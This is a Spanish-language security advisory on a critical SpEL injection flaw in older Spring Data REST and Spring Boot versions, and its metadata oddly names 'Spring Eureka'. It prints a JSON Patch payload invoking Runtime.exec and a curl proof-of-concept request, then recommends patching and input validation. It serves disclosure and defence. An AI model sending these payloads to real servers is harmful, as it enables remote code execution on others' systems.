En 2017 se identificó una vulnerabilidad crítica (CVSS 9.8) en las versiones de Spring Data REST anteriores a la 2.6.9 (Ingalls SR9) y 3.0.1 (Kay SR1), y en Spring Boot en las versiones anteriores a la 1.5.9 y 2.0 M6. Este fallo permite a atacantes remotos ejecutar código arbitrario en el servidor mediante solicitudes PATCH especialmente diseñadas. Aunque la vulnerabilidad fue reconocida y corregida por el equipo de Spring, no se han reportado casos generalizados de explotación activa por el momento, probablemente debido a la especificidad del ataque, que requiere que el procesamiento de parches JSON esté habilitado y expuesto.
| Producto | Spring Eureka |
| Fecha | 2025-06-02 10:53:23 |
| Información |
|
Resumen técnico
La vulnerabilidad deriva de la deserialización insegura y el manejo peligroso de expresiones en la forma en que Spring Data REST procesa las solicitudes PATCH con el tipo de contenido application/json-patch+json.
Los atacantes pueden construir una operación JSON Patch utilizando el lenguaje de expresiones de Spring (SpEL), como en el siguiente ejemplo:
[
{
"op": "replace",
"path": "T(java.lang.Runtime).getRuntime().exec(\"<command>\").x",
"value": "pwned"
}
]
Esto permite ejecutar código Java arbitrario (por ejemplo, lanzar comandos del sistema o exfiltrar datos). La expresión es interpretada por el motor SpEL del framework Spring debido a la falta de validación de entrada en el manejo de las solicitudes PATCH.
Ejemplo de explotación mediante curl:
curl --request PATCH \
-H "Content-Type: application/json-patch+json" \
-d '[{ "op" : "replace", "path" : "T(java.lang.Thread).sleep(10000).x", "value" : "pwned" }]' \
http://localhost:8080/entity/1
Esto retrasaría la respuesta 10 segundos, demostrando la ejecución del código.
Payloads más complejos pueden extraer la salida del comando o establecer reverse shells mediante la ejecución de comandos en tiempo de ejecución.
Recomendaciones
Actualizar inmediatamente:
- Actualizar Spring Data REST a la versión 2.6.9 o superior (Ingalls SR9) o 3.0.1 o superior (Kay SR1).
- Actualizar Spring Boot a la versión 1.5.9 o superior o 2.0 M6 o superior.
Deshabilitar el soporte PATCH JSON si no es necesario:
- JSON Patch no suele ser necesario en la mayoría de las API REST. Si no se utiliza, desactive el soporte para
application/json-patch+json.
- JSON Patch no suele ser necesario en la mayoría de las API REST. Si no se utiliza, desactive el soporte para
Filtrar y sanitizar la entrada:
- Aplique una validación rigurosa de las solicitudes para evitar que se interpreten expresiones maliciosas.
[Callforaction-THREAT-Footer]